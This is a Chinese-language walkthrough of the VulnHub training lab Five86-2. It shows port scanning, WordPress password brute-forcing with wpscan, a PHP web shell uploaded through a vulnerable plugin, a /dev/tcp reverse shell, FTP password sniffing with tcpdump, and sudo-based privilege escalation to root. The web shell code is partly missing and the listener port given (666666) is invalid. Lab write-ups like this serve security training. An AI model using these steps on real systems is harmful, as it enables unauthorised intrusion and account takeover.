vulnhub靶场之Five86-2

一.环境搭建

1.靶场描述

Five86-2 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

只有一个flag

2.靶场地址

https://www.vulnhub.com/entry/five86-2,418/

vulnhub靶场之Five86-2_第1张图片

3.启动环境

vulnhub靶场之Five86-2_第2张图片

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24

二.渗透测试

1.目标

目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24

2.信息收集

(1)寻找靶场真实ip

nmap -sP 192.168.52.0/24

vulnhub靶场之Five86-2_第3张图片

arp-scan -l

vulnhub靶场之Five86-2_第4张图片

靶场真实ip地址为192.168.52.133

(2)探测端口及服务

nmap -A -v -p- 192.168.52.133

vulnhub靶场之Five86-2_第5张图片

发现开启了21端口, ProFTPD 1.3.5e
发现开启了80端口,Apache httpd 2.4.41 ((Ubuntu))

也可以使用masscan进行探测

masscan --rate=10000 --ports 0-65535 192.168.52.133

vulnhub靶场之Five86-2_第6张图片

(3)web指纹识别

whatweb -v 192.168.52.133

我们可以看到有wordpress框架,看来是需要爆破的

3.渗透测试

(1)访问web服务

http://192.168.52.133

感觉页面好像不对劲,显示也有点问题

vulnhub靶场之Five86-2_第7张图片

点击其他链接的时候,会跳转到一个域名,但是无法访问,一般出现这个情况,应该是要设置本地的hosts文件,加上192.168.52.133 five86-2 即可,kali修改/etc/hosts文件即可

vulnhub靶场之Five86-2_第8张图片

vulnhub靶场之Five86-2_第9张图片

vulnhub靶场之Five86-2_第10张图片

现在可以看到页面显示正常了

(2)扫描web服务

1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.133

vulnhub靶场之Five86-2_第11张图片

看来是wordpress,我们需要爆破用户名和密码

2)nikto扫描网站结构
nikto -h http://192.168.52.133

我们访问

http://192.168.52.133/wp-login.php

vulnhub靶场之Five86-2_第12张图片

wordpress的登录页面

3)dirsearch目录扫描
dirsearch -u 192.168.52.133 -e * -x 403 --random-agent

只有wp-login.php是有用的,所以接下来我们进行爆破用户名和密码

(3)登录wordpress

1)爆破用户名
Wpscan一些常用语句:
wpscan --url http://xxxx
wpscan --url http://xxx --enumerate t 扫描主题
wpscan --url http://xxx --enumerate p 扫描插件
wpscan --url http://xxx --enumerate u 枚举用户

wpscan --url http://five86-2 --enumerate u 

vulnhub靶场之Five86-2_第13张图片

爆破出来5个用户名

接下来我们制作字典

2)制作字典

把用户名写到一个文本中,用来暴破

vulnhub靶场之Five86-2_第14张图片

由于 kali 自带的字典太大了,这里导出前 3 万行用来当字典

cd /usr/share/wordlists
head -30000 rockyou.txt > MS02423.txt
rockyou.txt.gz第一次是一个压缩包,需要我们进行解压
gzip -c -d rockyou.txt.gz > rockyou.txt

vulnhub靶场之Five86-2_第15张图片

使用 wpscan 暴破,得到两个账户的信息,-U 为暴破用户名的字典,-P 为暴破密码的字典(由于字典比较大,所以爆破时间比较长)我这里爆破了40分钟

wpscan --url http://192.168.52.133 -U /root/users.txt  -P MS02423.txt 

vulnhub靶场之Five86-2_第16张图片

得到两个账户的信息
barney/spooky1,stephen/apollo1

3)登录

我们登录 barney/spooky1,可以发现3个插件我们进行查看

vulnhub靶场之Five86-2_第17张图片

第三个插件,大概意思是我们可以插入内容,这里我们使用一句话木马即可

在谷歌上搜索一下,不难搜到这个插件的RCE:WordPress插件IEAC漏洞分析及组合利用尝试,在exploit-db上也有

先生成poc.zip,
echo "hello" > index.html
echo "" > index.php
zip poc.zip index.html index.php

vulnhub靶场之Five86-2_第18张图片

这个我们先放一放,我们查看另一个用户

stephen/apollo1

vulnhub靶场之Five86-2_第19张图片

我们可以看到没有任何东西,那么我们就可以一句话木马

(4)漏洞利用

1)制作一句话木马

先创建一个文件夹,在文件夹里创建php和html文件,php文件里写入一句话,html随便写,只要能看到内容就可以

mkdir MS02423

vim 1.php
	
	
# php文件

vim 1.html
	

test

zip -r MS02423.zip 1.php 1.html # html文件

vulnhub靶场之Five86-2_第20张图片

在Posts—>Add New,点击+号,选择e-Learing,点击UPLOAD

vulnhub靶场之Five86-2_第21张图片

vulnhub靶场之Five86-2_第22张图片

点击CHOOSE YOUR ZIP FILE选择上传的压缩包,然后点击旁边的UPLOAD

vulnhub靶场之Five86-2_第23张图片

然后访问

http://192.168.52.133/wp-content/uploads/articulate_uploads/MS02423/1.html

访问到上传文件夹里的html文件即可,url中的MS02423是上传文件夹的名称

vulnhub靶场之Five86-2_第24张图片

2)连接蚁剑

然后使用蚁剑连接文件夹中的1.php文件

http://192.168.52.133/wp-content/uploads/articulate_uploads/MS02423/1.php

vulnhub靶场之Five86-2_第25张图片

vulnhub靶场之Five86-2_第26张图片

我们可以看到连接成功

3)反弹shell

kali监听

nc -lvp 666666

image-20240114210159296

我们修改1.php内容

& /dev/tcp/192.168.52.152/666666 0>&1'")
?>

vulnhub靶场之Five86-2_第27张图片

我们访问

192.168.52.133/wp-content/uploads/articulate_uploads/MS02423/1.php

可以看到反弹成功

vulnhub靶场之Five86-2_第28张图片

获取交互式shell,这里python不行会报错,需要python3

python3 -c 'import pty;pty.spawn("/bin/sh")'

vulnhub靶场之Five86-2_第29张图片

执行sudo -l时提示需要密码

vulnhub靶场之Five86-2_第30张图片

看了一圈也没什么有用的,很多命令没权限,切换到stephen账户

vulnhub靶场之Five86-2_第31张图片

vulnhub靶场之Five86-2_第32张图片

4)查看ftp服务

还是没什么东西,扫描的时候还发现了ftp服务,发现有ftp的进程,属paul用户

image-20240114212236702

ftp是明文传输,进程执行的脚本文件看执行命令应该是个定时任务,尝试抓下包,要确定抓哪个网卡的流量,查看下网卡信息,ifconfig这里用不了,可以用ip add,veth是虚拟网卡,br可能是桥接网卡,veth的master是br,类似冗余链路,这里就抓master网卡,也就是br网卡

用tcpdump抓br网卡的包
-D查看可监听网卡,timeout抓包时间,-w生成文件,-i网卡,-r读取pcap包
(如果一直抓不到包的话,可以重启下靶机)

tcpdump -D
timeout 120 tcpdump -w MS02423.pcap -i br-eca3858d86bf
tcpdump -r MS02423.pcap

把包的内容复制出来,发现有PASS字段,搜索PASS,发现密码esomepasswford

vulnhub靶场之Five86-2_第33张图片

(5)提升权限

我们登录paul用户,使用命令sudo -l

vulnhub靶场之Five86-2_第34张图片

发现可以免密执行peter用户的service命令

通过service命令进行提权,获取到peter用户权限, 直接/bin/bash会报错,不知道具体的路径,使用相对路径

sudo -u peter service ../../bin/bash

vulnhub靶场之Five86-2_第35张图片

再次sudo -l发现可以免密执行root的passwd命令
更改root账户的密码后,登录到root账户

sudo -u root passwd root
MS02423
su root
MS02423

vulnhub靶场之Five86-2_第36张图片

我们切换到root目录下,即可看到flag

三.相关资源

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto工具的使用

8.dirsearch目录扫描

9.wpscan工具的使用

10.蚁剑的使用

11.ftp服务

12.kali自带字典

你可能感兴趣的:([,vulnhub靶机通关篇,],web安全)